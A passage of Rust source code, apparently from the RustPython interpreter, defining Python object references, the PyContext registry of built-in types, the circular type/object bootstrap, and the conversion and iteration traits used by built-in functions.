use crate::obj::objfilter;
use crate::obj::objfloat::{self, PyFloat};
use crate::obj::objframe;
use crate::obj::objfunction::{self, PyFunction, PyMethod};
use crate::obj::objgenerator;
use crate::obj::objint::{self, PyInt, PyIntRef};
use crate::obj::objiter;
use crate::obj::objlist::{self, PyList};
use crate::obj::objmap;
use crate::obj::objmappingproxy;
use crate::obj::objmemory;
use crate::obj::objmodule::{self, PyModule};
use crate::obj::objnone::{self, PyNone, PyNoneRef};
use crate::obj::objobject;
use crate::obj::objproperty;
use crate::obj::objproperty::PropertyBuilder;
use crate::obj::objrange;
use crate::obj::objset::{self, PySet};
use crate::obj::objslice;
use crate::obj::objstaticmethod;
use crate::obj::objstr;
use crate::obj::objsuper;
use crate::obj::objtuple::{self, PyTuple, PyTupleRef};
use crate::obj::objtype::{self, PyClass, PyClassRef};
use crate::obj::objweakproxy;
use crate::obj::objweakref;
use crate::obj::objzip;
use crate::vm::VirtualMachine;
/* Python objects and references.
Okay, so each python object itself is an class itself (PyObject). Each
python object can have several references to it (PyObjectRef). These
references are Rc (reference counting) rust smart pointers. So when
all references are destroyed, the object itself also can be cleaned up.
Basically reference counting, but then done by rust.
*/
/*
* Good reference: https://github.com/ProgVal/pythonvm-rust/blob/master/src/objects/mod.rs
*/
/// The `PyObjectRef` is one of the most used types. It is a reference to a
/// python object. A single python object can have multiple references, and
/// this reference counting is accounted for by this type. Use the `.clone()`
/// method to create a new reference and increment the amount of references
/// to the python object by 1.
pub type PyObjectRef = Rc<PyObject<dyn PyObjectPayload>>;
/// Use this type for function which return a python object or and exception.
/// Both the python object and the python exception are `PyObjectRef` types
/// since exceptions are also python objects.
pub type PyResult<T = PyObjectRef> = Result<T, PyObjectRef>; // A valid value, or an exception
/// For attributes we do not use a dict, but a hashmap. This is probably
/// faster, unordered, and only supports strings as keys.
pub type PyAttributes = HashMap<String, PyObjectRef>;
impl fmt::Display for PyObject<dyn PyObjectPayload> {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
if let Some(PyClass { ref name, .. }) = self.payload::<PyClass>() {
let type_name = self.class().name.clone();
// We don't have access to a vm, so just assume that if its parent's name
// is type, it's a type
if type_name == "type" {
return write!(f, "type object '{}'", name);
} else {
return write!(f, "'{}' object", type_name);
}
}
if let Some(PyModule { ref name, .. }) = self.payload::<PyModule>() {
return write!(f, "module '{}'", name);
}
write!(f, "'{}' object", self.class().name)
}
}
#[derive(Debug)]
pub struct PyContext {
pub bytes_type: PyClassRef,
pub bytesiterator_type: PyClassRef,
pub bytearray_type: PyClassRef,
pub bytearrayiterator_type: PyClassRef,
pub bool_type: PyClassRef,
pub classmethod_type: PyClassRef,
pub code_type: PyClassRef,
pub dict_type: PyClassRef,
pub ellipsis_type: PyClassRef,
pub enumerate_type: PyClassRef,
pub filter_type: PyClassRef,
pub float_type: PyClassRef,
pub frame_type: PyClassRef,
pub frozenset_type: PyClassRef,
pub generator_type: PyClassRef,
pub int_type: PyClassRef,
pub iter_type: PyClassRef,
pub complex_type: PyClassRef,
pub true_value: PyIntRef,
pub false_value: PyIntRef,
pub list_type: PyClassRef,
pub listiterator_type: PyClassRef,
pub dictkeyiterator_type: PyClassRef,
pub dictvalueiterator_type: PyClassRef,
pub dictitemiterator_type: PyClassRef,
pub dictkeys_type: PyClassRef,
pub dictvalues_type: PyClassRef,
pub dictitems_type: PyClassRef,
pub map_type: PyClassRef,
pub memoryview_type: PyClassRef,
pub none: PyNoneRef,
pub ellipsis: PyEllipsisRef,
pub not_implemented: PyNotImplementedRef,
pub tuple_type: PyClassRef,
pub tupleiterator_type: PyClassRef,
pub set_type: PyClassRef,
pub staticmethod_type: PyClassRef,
pub super_type: PyClassRef,
pub str_type: PyClassRef,
pub range_type: PyClassRef,
pub rangeiterator_type: PyClassRef,
pub slice_type: PyClassRef,
pub type_type: PyClassRef,
pub zip_type: PyClassRef,
pub function_type: PyClassRef,
pub builtin_function_or_method_type: PyClassRef,
pub property_type: PyClassRef,
pub readonly_property_type: PyClassRef,
pub module_type: PyClassRef,
pub bound_method_type: PyClassRef,
pub weakref_type: PyClassRef,
pub weakproxy_type: PyClassRef,
pub mappingproxy_type: PyClassRef,
pub object: PyClassRef,
pub exceptions: exceptions::ExceptionZoo,
}
pub fn create_type(name: &str, type_type: &PyClassRef, base: &PyClassRef) -> PyClassRef {
let dict = PyAttributes::new();
objtype::new(type_type.clone(), name, vec![base.clone()], dict).unwrap()
}
pub type PyNotImplementedRef = PyRef<PyNotImplemented>;
#[derive(Debug)]
pub struct PyNotImplemented;
impl PyValue for PyNotImplemented {
fn class(vm: &VirtualMachine) -> PyClassRef {
vm.ctx.not_implemented().class()
}
}
pub type PyEllipsisRef = PyRef<PyEllipsis>;
#[derive(Debug)]
pub struct PyEllipsis;
impl PyValue for PyEllipsis {
fn class(vm: &VirtualMachine) -> PyClassRef {
vm.ctx.ellipsis_type.clone()
}
}
fn init_type_hierarchy() -> (PyClassRef, PyClassRef) {
// `type` inherits from `object`
// and both `type` and `object are instances of `type`.
// to produce this circular dependency, we need an unsafe block.
// (and yes, this will never get dropped. TODO?)
let (type_type, object_type) = unsafe {
let object_type = PyObject {
typ: mem::uninitialized(), // !
dict: None,
payload: PyClass {
name: String::from("object"),
mro: vec![],
subclasses: RefCell::new(vec![]),
attributes: RefCell::new(PyAttributes::new()),
},
}
.into_ref();
let type_type = PyObject {
typ: mem::uninitialized(), // !
dict: None,
payload: PyClass {
name: String::from("type"),
mro: vec![object_type.clone().downcast().unwrap()],
subclasses: RefCell::new(vec![]),
attributes: RefCell::new(PyAttributes::new()),
},
}
.into_ref();
let object_type_ptr = PyObjectRef::into_raw(object_type.clone()) as *mut PyObject<PyClass>;
let type_type_ptr = PyObjectRef::into_raw(type_type.clone()) as *mut PyObject<PyClass>;
let type_type: PyClassRef = type_type.downcast().unwrap();
let object_type: PyClassRef = object_type.downcast().unwrap();
ptr::write(&mut (*object_type_ptr).typ, type_type.clone());
ptr::write(&mut (*type_type_ptr).typ, type_type.clone());
(type_type, object_type)
};
object_type
.subclasses
.borrow_mut()
.push(objweakref::PyWeak::downgrade(&type_type.as_object()));
(type_type, object_type)
}
// Basic objects:
impl PyContext {
pub fn new() -> Self {
let (type_type, object_type) = init_type_hierarchy();
let dict_type = create_type("dict", &type_type, &object_type);
let module_type = create_type("module", &type_type, &object_type);
let classmethod_type = create_type("classmethod", &type_type, &object_type);
let staticmethod_type = create_type("staticmethod", &type_type, &object_type);
let function_type = create_type("function", &type_type, &object_type);
let builtin_function_or_method_type =
create_type("builtin_function_or_method", &type_type, &object_type);
let property_type = create_type("property", &type_type, &object_type);
let readonly_property_type = create_type("readonly_property", &type_type, &object_type);
let super_type = create_type("super", &type_type, &object_type);
let weakref_type = create_type("ref", &type_type, &object_type);
let weakproxy_type = create_type("weakproxy", &type_type, &object_type);
let generator_type = create_type("generator", &type_type, &object_type);
let bound_method_type = create_type("method", &type_type, &object_type);
let str_type = create_type("str", &type_type, &object_type);
let list_type = create_type("list", &type_type, &object_type);
let listiterator_type = create_type("list_iterator", &type_type, &object_type);
let dictkeys_type = create_type("dict_keys", &type_type, &object_type);
let dictvalues_type = create_type("dict_values", &type_type, &object_type);
let dictitems_type = create_type("dict_items", &type_type, &object_type);
let dictkeyiterator_type = create_type("dict_keyiterator", &type_type, &object_type);
let dictvalueiterator_type = create_type("dict_valueiterator", &type_type, &object_type);
let dictitemiterator_type = create_type("dict_itemiterator", &type_type, &object_type);
let set_type = create_type("set", &type_type, &object_type);
let frozenset_type = create_type("frozenset", &type_type, &object_type);
let int_type = create_type("int", &type_type, &object_type);
let float_type = create_type("float", &type_type, &object_type);
let frame_type = create_type("frame", &type_type, &object_type);
let complex_type = create_type("complex", &type_type, &object_type);
let bytes_type = create_type("bytes", &type_type, &object_type);
let bytesiterator_type = create_type("bytes_iterator", &type_type, &object_type);
let bytearray_type = create_type("bytearray", &type_type, &object_type);
let bytearrayiterator_type = create_type("bytearray_iterator", &type_type, &object_type);
let tuple_type = create_type("tuple", &type_type, &object_type);
let tupleiterator_type = create_type("tuple_iterator", &type_type, &object_type);
let iter_type = create_type("iter", &type_type, &object_type);
let enumerate_type = create_type("enumerate", &type_type, &object_type);
let filter_type = create_type("filter", &type_type, &object_type);
let map_type = create_type("map", &type_type, &object_type);
let zip_type = create_type("zip", &type_type, &object_type);
let bool_type = create_type("bool", &type_type, &int_type);
let memoryview_type = create_type("memoryview", &type_type, &object_type);
let code_type = create_type("code", &type_type, &int_type);
let range_type = create_type("range", &type_type, &object_type);
let rangeiterator_type = create_type("range_iterator", &type_type, &object_type);
let slice_type = create_type("slice", &type_type, &object_type);
let mappingproxy_type = create_type("mappingproxy", &type_type, &object_type);
let exceptions = exceptions::ExceptionZoo::new(&type_type, &object_type);
fn create_object<T: PyObjectPayload>(payload: T, cls: &PyClassRef) -> PyRef<T> {
PyRef {
obj: PyObject::new(payload, cls.clone(), None),
_payload: PhantomData,
}
}
let none_type = create_type("NoneType", &type_type, &object_type);
let none = create_object(PyNone, &none_type);
let ellipsis_type = create_type("EllipsisType", &type_type, &object_type);
let ellipsis = create_object(PyEllipsis, &ellipsis_type);
let not_implemented_type = create_type("NotImplementedType", &type_type, &object_type);
let not_implemented = create_object(PyNotImplemented, ¬_implemented_type);
let true_value = create_object(PyInt::new(BigInt::one()), &bool_type);
let false_value = create_object(PyInt::new(BigInt::zero()), &bool_type);
let context = PyContext {
bool_type,
memoryview_type,
bytearray_type,
bytearrayiterator_type,
bytes_type,
bytesiterator_type,
code_type,
complex_type,
classmethod_type,
int_type,
float_type,
frame_type,
staticmethod_type,
list_type,
listiterator_type,
dictkeys_type,
dictvalues_type,
dictitems_type,
dictkeyiterator_type,
dictvalueiterator_type,
dictitemiterator_type,
set_type,
frozenset_type,
true_value,
false_value,
tuple_type,
tupleiterator_type,
iter_type,
ellipsis_type,
enumerate_type,
filter_type,
map_type,
zip_type,
dict_type,
none,
ellipsis,
not_implemented,
str_type,
range_type,
rangeiterator_type,
slice_type,
object: object_type,
function_type,
builtin_function_or_method_type,
super_type,
mappingproxy_type,
property_type,
readonly_property_type,
generator_type,
module_type,
bound_method_type,
weakref_type,
weakproxy_type,
type_type,
exceptions,
};
objtype::init(&context);
objlist::init(&context);
objset::init(&context);
objtuple::init(&context);
objobject::init(&context);
objdict::init(&context);
objfunction::init(&context);
objstaticmethod::init(&context);
objclassmethod::init(&context);
objgenerator::init(&context);
objint::init(&context);
objfloat::init(&context);
objcomplex::init(&context);
objbytes::init(&context);
objbytearray::init(&context);
objproperty::init(&context);
objmemory::init(&context);
objstr::init(&context);
objrange::init(&context);
objslice::init(&context);
objsuper::init(&context);
objtuple::init(&context);
objiter::init(&context);
objellipsis::init(&context);
objenumerate::init(&context);
objfilter::init(&context);
objmap::init(&context);
objzip::init(&context);
objbool::init(&context);
objcode::init(&context);
objframe::init(&context);
objweakref::init(&context);
objweakproxy::init(&context);
objnone::init(&context);
objmodule::init(&context);
objmappingproxy::init(&context);
exceptions::init(&context);
context
}
pub fn bytearray_type(&self) -> PyClassRef {
self.bytearray_type.clone()
}
pub fn bytearrayiterator_type(&self) -> PyClassRef {
self.bytearrayiterator_type.clone()
}
pub fn bytes_type(&self) -> PyClassRef {
self.bytes_type.clone()
}
pub fn bytesiterator_type(&self) -> PyClassRef {
self.bytesiterator_type.clone()
}
pub fn code_type(&self) -> PyClassRef {
self.code_type.clone()
}
pub fn complex_type(&self) -> PyClassRef {
self.complex_type.clone()
}
pub fn dict_type(&self) -> PyClassRef {
self.dict_type.clone()
}
pub fn float_type(&self) -> PyClassRef {
self.float_type.clone()
}
pub fn frame_type(&self) -> PyClassRef {
self.frame_type.clone()
}
pub fn int_type(&self) -> PyClassRef {
self.int_type.clone()
}
pub fn list_type(&self) -> PyClassRef {
self.list_type.clone()
}
pub fn listiterator_type(&self) -> PyClassRef {
self.listiterator_type.clone()
}
pub fn module_type(&self) -> PyClassRef {
self.module_type.clone()
}
pub fn set_type(&self) -> PyClassRef {
self.set_type.clone()
}
pub fn range_type(&self) -> PyClassRef {
self.range_type.clone()
}
pub fn rangeiterator_type(&self) -> PyClassRef {
self.rangeiterator_type.clone()
}
pub fn slice_type(&self) -> PyClassRef {
self.slice_type.clone()
}
pub fn frozenset_type(&self) -> PyClassRef {
self.frozenset_type.clone()
}
pub fn bool_type(&self) -> PyClassRef {
self.bool_type.clone()
}
pub fn memoryview_type(&self) -> PyClassRef {
self.memoryview_type.clone()
}
pub fn tuple_type(&self) -> PyClassRef {
self.tuple_type.clone()
}
pub fn tupleiterator_type(&self) -> PyClassRef {
self.tupleiterator_type.clone()
}
pub fn iter_type(&self) -> PyClassRef {
self.iter_type.clone()
}
pub fn enumerate_type(&self) -> PyClassRef {
self.enumerate_type.clone()
}
pub fn filter_type(&self) -> PyClassRef {
self.filter_type.clone()
}
pub fn map_type(&self) -> PyClassRef {
self.map_type.clone()
}
pub fn zip_type(&self) -> PyClassRef {
self.zip_type.clone()
}
pub fn str_type(&self) -> PyClassRef {
self.str_type.clone()
}
pub fn super_type(&self) -> PyClassRef {
self.super_type.clone()
}
pub fn function_type(&self) -> PyClassRef {
self.function_type.clone()
}
pub fn builtin_function_or_method_type(&self) -> PyClassRef {
self.builtin_function_or_method_type.clone()
}
pub fn property_type(&self) -> PyClassRef {
self.property_type.clone()
}
pub fn readonly_property_type(&self) -> PyClassRef {
self.readonly_property_type.clone()
}
pub fn classmethod_type(&self) -> PyClassRef {
self.classmethod_type.clone()
}
pub fn staticmethod_type(&self) -> PyClassRef {
self.staticmethod_type.clone()
}
pub fn generator_type(&self) -> PyClassRef {
self.generator_type.clone()
}
pub fn bound_method_type(&self) -> PyClassRef {
self.bound_method_type.clone()
}
pub fn weakref_type(&self) -> PyClassRef {
self.weakref_type.clone()
}
pub fn weakproxy_type(&self) -> PyClassRef {
self.weakproxy_type.clone()
}
pub fn type_type(&self) -> PyClassRef {
self.type_type.clone()
}
pub fn none(&self) -> PyObjectRef {
self.none.clone().into_object()
}
pub fn ellipsis(&self) -> PyObjectRef {
self.ellipsis.clone().into_object()
}
pub fn not_implemented(&self) -> PyObjectRef {
self.not_implemented.clone().into_object()
}
pub fn object(&self) -> PyClassRef {
self.object.clone()
}
pub fn new_int<T: Into<BigInt>>(&self, i: T) -> PyObjectRef {
PyObject::new(PyInt::new(i), self.int_type(), None)
}
pub fn new_float(&self, value: f64) -> PyObjectRef {
PyObject::new(PyFloat::from(value), self.float_type(), None)
}
pub fn new_complex(&self, value: Complex64) -> PyObjectRef {
PyObject::new(PyComplex::from(value), self.complex_type(), None)
}
pub fn new_str(&self, s: String) -> PyObjectRef {
PyObject::new(objstr::PyString { value: s }, self.str_type(), None)
}
pub fn new_bytes(&self, data: Vec<u8>) -> PyObjectRef {
PyObject::new(objbytes::PyBytes::new(data), self.bytes_type(), None)
}
pub fn new_bytearray(&self, data: Vec<u8>) -> PyObjectRef {
PyObject::new(
objbytearray::PyByteArray::new(data),
self.bytearray_type(),
None,
)
}
pub fn new_bool(&self, b: bool) -> PyObjectRef {
if b {
self.true_value.clone().into_object()
} else {
self.false_value.clone().into_object()
}
}
pub fn new_tuple(&self, elements: Vec<PyObjectRef>) -> PyObjectRef {
PyObject::new(PyTuple::from(elements), self.tuple_type(), None)
}
pub fn new_list(&self, elements: Vec<PyObjectRef>) -> PyObjectRef {
PyObject::new(PyList::from(elements), self.list_type(), None)
}
pub fn new_set(&self) -> PyObjectRef {
// Initialized empty, as calling __hash__ is required for adding each object to the set
// which requires a VM context - this is done in the objset code itself.
PyObject::new(PySet::default(), self.set_type(), None)
}
pub fn new_dict(&self) -> PyDictRef {
PyObject::new(PyDict::default(), self.dict_type(), None)
.downcast()
.unwrap()
}
pub fn new_class(&self, name: &str, base: PyClassRef) -> PyClassRef {
objtype::new(self.type_type(), name, vec![base], PyAttributes::new()).unwrap()
}
pub fn new_module(&self, name: &str, dict: PyDictRef) -> PyObjectRef {
PyObject::new(
PyModule {
name: name.to_string(),
},
self.module_type.clone(),
Some(dict),
)
}
pub fn new_rustfunc<F, T, R>(&self, f: F) -> PyObjectRef
where
F: IntoPyNativeFunc<T, R>,
{
PyObject::new(
PyBuiltinFunction::new(f.into_func()),
self.builtin_function_or_method_type(),
None,
)
}
pub fn new_classmethod<F, T, R>(&self, f: F) -> PyObjectRef
where
F: IntoPyNativeFunc<T, R>,
{
PyObject::new(
PyClassMethod {
callable: self.new_rustfunc(f),
},
self.classmethod_type(),
None,
)
}
pub fn new_property<F, I, V>(&self, f: F) -> PyObjectRef
where
F: IntoPyNativeFunc<I, V>,
{
PropertyBuilder::new(self).add_getter(f).create()
}
pub fn new_code_object(&self, code: bytecode::CodeObject) -> PyCodeRef {
PyObject::new(objcode::PyCode::new(code), self.code_type(), None)
.downcast()
.unwrap()
}
pub fn new_function(
&self,
code_obj: PyCodeRef,
scope: Scope,
defaults: Option<PyTupleRef>,
kw_only_defaults: Option<PyDictRef>,
) -> PyObjectRef {
PyObject::new(
PyFunction::new(code_obj, scope, defaults, kw_only_defaults),
self.function_type(),
Some(self.new_dict()),
)
}
pub fn new_bound_method(&self, function: PyObjectRef, object: PyObjectRef) -> PyObjectRef {
PyObject::new(
PyMethod::new(object, function),
self.bound_method_type(),
None,
)
}
pub fn new_instance(&self, class: PyClassRef, dict: Option<PyDictRef>) -> PyObjectRef {
PyObject {
typ: class,
dict,
payload: objobject::PyInstance,
}
.into_ref()
}
pub fn unwrap_constant(&self, value: &bytecode::Constant) -> PyObjectRef {
match *value {
bytecode::Constant::Integer { ref value } => self.new_int(value.clone()),
bytecode::Constant::Float { ref value } => self.new_float(*value),
bytecode::Constant::Complex { ref value } => self.new_complex(*value),
bytecode::Constant::String { ref value } => self.new_str(value.clone()),
bytecode::Constant::Bytes { ref value } => self.new_bytes(value.clone()),
bytecode::Constant::Boolean { ref value } => self.new_bool(value.clone()),
bytecode::Constant::Code { ref code } => {
self.new_code_object(*code.clone()).into_object()
}
bytecode::Constant::Tuple { ref elements } => {
let elements = elements
.iter()
.map(|value| self.unwrap_constant(value))
.collect();
self.new_tuple(elements)
}
bytecode::Constant::None => self.none(),
bytecode::Constant::Ellipsis => self.ellipsis(),
}
}
}
impl Default for PyContext {
fn default() -> Self {
PyContext::new()
}
}
/// This is an actual python object. It consists of a `typ` which is the
/// python class, and carries some rust payload optionally. This rust
/// payload can be a rust float or rust int in case of float and int objects.
pub struct PyObject<T>
where
T: ?Sized + PyObjectPayload,
{
pub typ: PyClassRef,
pub dict: Option<PyDictRef>, // __dict__ member
pub payload: T,
}
impl PyObject<dyn PyObjectPayload> {
/// Attempt to downcast this reference to a subclass.
///
/// If the downcast fails, the original ref is returned in as `Err` so
/// another downcast can be attempted without unnecessary cloning.
///
/// Note: The returned `Result` is _not_ a `PyResult`, even though the
/// types are compatible.
pub fn downcast<T: PyObjectPayload>(self: Rc<Self>) -> Result<PyRef<T>, PyObjectRef> {
if self.payload_is::<T>() {
Ok({
PyRef {
obj: self,
_payload: PhantomData,
}
})
} else {
Err(self)
}
}
}
/// A reference to a Python object.
///
/// Note that a `PyRef<T>` can only deref to a shared / immutable reference.
/// It is the payload type's responsibility to handle (possibly concurrent)
/// mutability with locks or concurrent data structures if required.
///
/// A `PyRef<T>` can be directly returned from a built-in function to handle
/// situations (such as when implementing in-place methods such as `__iadd__`)
/// where a reference to the same object must be returned.
#[derive(Debug)]
pub struct PyRef<T> {
// invariant: this obj must always have payload of type T
obj: PyObjectRef,
_payload: PhantomData<T>,
}
impl<T> Clone for PyRef<T> {
fn clone(&self) -> Self {
Self {
obj: self.obj.clone(),
_payload: PhantomData,
}
}
}
impl<T: PyValue> PyRef<T> {
pub fn as_object(&self) -> &PyObjectRef {
&self.obj
}
pub fn into_object(self) -> PyObjectRef {
self.obj
}
pub fn typ(&self) -> PyClassRef {
PyRef {
obj: self.obj.class().into_object(),
_payload: PhantomData,
}
}
}
impl<T> Deref for PyRef<T>
where
T: PyValue,
{
type Target = T;
fn deref(&self) -> &T {
self.obj.payload().expect("unexpected payload for type")
}
}
impl<T> TryFromObject for PyRef<T>
where
T: PyValue,
{
fn try_from_object(vm: &VirtualMachine, obj: PyObjectRef) -> PyResult<Self> {
if objtype::isinstance(&obj, &T::class(vm)) {
Ok(PyRef {
obj,
_payload: PhantomData,
})
} else {
let class = T::class(vm);
let expected_type = vm.to_pystr(&class)?;
let actual_type = vm.to_pystr(&obj.class())?;
Err(vm.new_type_error(format!(
"Expected type {}, not {}",
expected_type, actual_type,
)))
}
}
}
impl<T> IntoPyObject for PyRef<T> {
fn into_pyobject(self, _vm: &VirtualMachine) -> PyResult {
Ok(self.obj)
}
}
impl<'a, T: PyValue> From<&'a PyRef<T>> for &'a PyObjectRef {
fn from(obj: &'a PyRef<T>) -> Self {
obj.as_object()
}
}
impl<T: PyValue> From<PyRef<T>> for PyObjectRef {
fn from(obj: PyRef<T>) -> Self {
obj.into_object()
}
}
impl<T: fmt::Display> fmt::Display for PyRef<T>
where
T: PyValue + fmt::Display,
{
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
let value: &T = self.obj.payload().expect("unexpected payload for type");
fmt::Display::fmt(value, f)
}
}
#[derive(Clone)]
pub struct PyCallable {
obj: PyObjectRef,
}
impl PyCallable {
#[inline]
pub fn invoke(&self, args: impl Into<PyFuncArgs>, vm: &VirtualMachine) -> PyResult {
vm.invoke(self.obj.clone(), args)
}
#[inline]
pub fn into_object(self) -> PyObjectRef {
self.obj
}
}
impl TryFromObject for PyCallable {
fn try_from_object(vm: &VirtualMachine, obj: PyObjectRef) -> PyResult<Self> {
if vm.is_callable(&obj) {
Ok(PyCallable { obj })
} else {
Err(vm.new_type_error(format!("'{}' object is not callable", obj.class().name)))
}
}
}
impl IntoPyObject for PyCallable {
fn into_pyobject(self, _vm: &VirtualMachine) -> PyResult {
Ok(self.into_object())
}
}
pub trait IdProtocol {
fn get_id(&self) -> usize;
fn is<T>(&self, other: &T) -> bool
where
T: IdProtocol,
{
self.get_id() == other.get_id()
}
}
#[derive(Debug)]
enum Never {}
impl PyValue for Never {
fn class(_vm: &VirtualMachine) -> PyClassRef {
unreachable!()
}
}
impl<T: ?Sized + PyObjectPayload> IdProtocol for PyObject<T> {
fn get_id(&self) -> usize {
self as *const _ as *const PyObject<Never> as usize
}
}
impl<T: ?Sized + IdProtocol> IdProtocol for Rc<T> {
fn get_id(&self) -> usize {
(**self).get_id()
}
}
impl<T: PyObjectPayload> IdProtocol for PyRef<T> {
fn get_id(&self) -> usize {
self.obj.get_id()
}
}
pub trait TypeProtocol {
fn class(&self) -> PyClassRef;
}
impl TypeProtocol for PyObjectRef {
fn class(&self) -> PyClassRef {
(**self).class()
}
}
impl<T> TypeProtocol for PyObject<T>
where
T: ?Sized + PyObjectPayload,
{
fn class(&self) -> PyClassRef {
self.typ.clone()
}
}
impl<T> TypeProtocol for PyRef<T> {
fn class(&self) -> PyClassRef {
self.obj.typ.clone()
}
}
pub trait ItemProtocol {
fn get_item<T: IntoPyObject>(&self, key: T, vm: &VirtualMachine) -> PyResult;
fn set_item<T: IntoPyObject>(
&self,
key: T,
value: PyObjectRef,
vm: &VirtualMachine,
) -> PyResult;
fn del_item<T: IntoPyObject>(&self, key: T, vm: &VirtualMachine) -> PyResult;
fn get_item_option<T: IntoPyObject>(
&self,
key: T,
vm: &VirtualMachine,
) -> PyResult<Option<PyObjectRef>> {
match self.get_item(key, vm) {
Ok(value) => Ok(Some(value)),
Err(exc) => {
if objtype::isinstance(&exc, &vm.ctx.exceptions.key_error) {
Ok(None)
} else {
Err(exc)
}
}
}
}
}
impl ItemProtocol for PyObjectRef {
fn get_item<T: IntoPyObject>(&self, key: T, vm: &VirtualMachine) -> PyResult {
vm.call_method(self, "__getitem__", key.into_pyobject(vm)?)
}
fn set_item<T: IntoPyObject>(
&self,
key: T,
value: PyObjectRef,
vm: &VirtualMachine,
) -> PyResult {
vm.call_method(self, "__setitem__", vec![key.into_pyobject(vm)?, value])
}
fn del_item<T: IntoPyObject>(&self, key: T, vm: &VirtualMachine) -> PyResult {
vm.call_method(self, "__delitem__", key.into_pyobject(vm)?)
}
}
pub trait BufferProtocol {
fn readonly(&self) -> bool;
}
impl BufferProtocol for PyObjectRef {
fn readonly(&self) -> bool {
match self.class().name.as_str() {
"bytes" => false,
"bytearray" | "memoryview" => true,
_ => panic!("Bytes-Like type expected not {:?}", self),
}
}
}
impl fmt::Debug for PyObject<dyn PyObjectPayload> {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
write!(f, "[PyObj {:?}]", &self.payload)
}
}
/// An iterable Python object.
///
/// `PyIterable` implements `FromArgs` so that a built-in function can accept
/// an object that is required to conform to the Python iterator protocol.
///
/// PyIterable can optionally perform type checking and conversions on iterated
/// objects using a generic type parameter that implements `TryFromObject`.
pub struct PyIterable<T = PyObjectRef> {
method: PyObjectRef,
_item: std::marker::PhantomData<T>,
}
impl<T> PyIterable<T> {
/// Returns an iterator over this sequence of objects.
///
/// This operation may fail if an exception is raised while invoking the
/// `__iter__` method of the iterable object.
pub fn iter<'a>(&self, vm: &'a VirtualMachine) -> PyResult<PyIterator<'a, T>> {
let iter_obj = vm.invoke(
self.method.clone(),
PyFuncArgs {
args: vec![],
kwargs: vec![],
},
)?;
Ok(PyIterator {
vm,
obj: iter_obj,
_item: std::marker::PhantomData,
})
}
}
pub struct PyIterator<'a, T> {
vm: &'a VirtualMachine,
obj: PyObjectRef,
_item: std::marker::PhantomData<T>,
}
impl<'a, T> Iterator for PyIterator<'a, T>
where
T: TryFromObject,
{
type Item = PyResult<T>;
fn next(&mut self) -> Option<Self::Item> {
match self.vm.call_method(&self.obj, "__next__", vec![]) {
Ok(value) => Some(T::try_from_object(self.vm, value)),
Err(err) => {
if objtype::isinstance(&err, &self.vm.ctx.exceptions.stop_iteration) {
None
} else {
Some(Err(err))
}
}
}
}
}
impl<T> TryFromObject for PyIterable<T>
where
T: TryFromObject,
{
fn try_from_object(vm: &VirtualMachine, obj: PyObjectRef) -> PyResult<Self> {
if let Ok(method) = vm.get_method(obj.clone(), "__iter__") {
Ok(PyIterable {
method,
_item: std::marker::PhantomData,
})
} else if vm.get_method(obj.clone(), "__getitem__").is_ok() {
Self::try_from_object(
vm,
objiter::PySequenceIterator {
position: Cell::new(0),
obj: obj.clone(),
}
.into_ref(vm)
.into_object(),
)
} else {
Err(vm.new_type_error(format!("'{}' object is not iterable", obj.class().name)))
}
}
}
impl TryFromObject for PyObjectRef {
fn try_from_object(_vm: &VirtualMachine, obj: PyObjectRef) -> PyResult<Self> {
Ok(obj)
}
}
impl<T: TryFromObject> TryFromObject for Option<T> {
fn try_from_object(vm: &VirtualMachine, obj: PyObjectRef) -> PyResult<Self> {
if vm.get_none().is(&obj) {
Ok(None)
} else {
T::try_from_object(vm, obj).map(Some)
}
}
}
/// Allows coercion of a types into PyRefs, so that we can write functions that can take
/// refs, pyobject refs or basic types.
pub trait TryIntoRef<T> {
fn try_into_ref(self, vm: &VirtualMachine) -> PyResult<PyRef<T>>;
}
impl<T> TryIntoRef<T> for PyRef<T> {
fn try_into_ref(self, _vm: &VirtualMachine) -> PyResult<PyRef<T>> {
Ok(self)
}
}
impl<T> TryIntoRef<T> for PyObjectRef
where
T: PyValue,
{
fn try_into_ref(self, vm: &VirtualMachine) -> PyResult<PyRef<T>> {
TryFromObject::try_from_object(vm, self)
}
}
/// Implemented by any type that can be created from a Python object.
///
/// Any type that implements `TryFromObject` is automatically `FromArgs`, and
/// so can be accepted as a argument to a built-in function.
pub trait TryFromObject: Sized {
/// Attempt to convert a Python object to a value of this type.
fn try_from_object(vm: &VirtualMachine, obj: PyObjectRef) -> PyResult<Self>;
}
/// Implemented by any type that can be returned from a built-in Python function.
///
/// `IntoPyObject` has a blanket implementation for any built-in object payload,
/// and should be implemented by many primitive Rust types, allowing a built-in
/// function to simply return a `bool` or a `usize` for example.
pub trait IntoPyObject {
fn into_pyobject(self, vm: &VirtualMachine) -> PyResult;
}
impl IntoPyObject for PyObjectRef {
fn into_pyobject(self, _vm: &VirtualMachine) -> PyResult {
Ok(self)
}
}
impl<T> IntoPyObject for PyResult<T>
where
T: IntoPyObject,
{
fn into_pyobject(self, vm: &VirtualMachine) -> PyResult {
self.and_then(|res| T::into_pyobject(res, vm))
}
}
// Allows a built-in function to return any built-in object payload without
// explicitly implementing `IntoPyObject`.
impl<T> IntoPyObject for T
where
T: PyValue + Sized,
{
fn into_pyobject(self, vm: &VirtualMachine) -> PyResult {
Ok(PyObject::new(self, T::class(vm), None))
}
}
impl<T> PyObject<T>
where
T: Sized + PyObjectPayload,
{
pub fn new(payload: T, typ: PyClassRef, dict: Option<PyDictRef>) -> PyObjectRef {
PyObject { typ, dict, payload }.into_ref()
}
// Move this object into a reference object, transferring ownership.
pub fn into_ref(self) -> PyObjectRef {
Rc::new(self)
}
}
impl PyObject<dyn PyObjectPayload> {
#[inline]
pub fn payload<T: PyObjectPayload>(&self) -> Option<&T> {
self.payload.as_any().downcast_ref()
}
#[inline]
pub fn payload_is<T: PyObjectPayload>(&self) -> bool {
self.payload.as_any().is::<T>()
}
}
pub trait PyValue: fmt::Debug + Sized + 'static {
const HAVE_DICT: bool = false;
fn class(vm: &VirtualMachine) -> PyClassRef;
fn into_ref(self, vm: &VirtualMachine) -> PyRef<Self> {
PyRef {
obj: PyObject::new(self, Self::class(vm), None),
_payload: PhantomData,
}
}
fn into_ref_with_type(self, vm: &VirtualMachine, cls: PyClassRef) -> PyResult<PyRef<Self>> {
let class = Self::class(vm);
if objtype::issubclass(&cls, &class) {
let dict = if !Self::HAVE_DICT && cls.is(&class) {
None
} else {
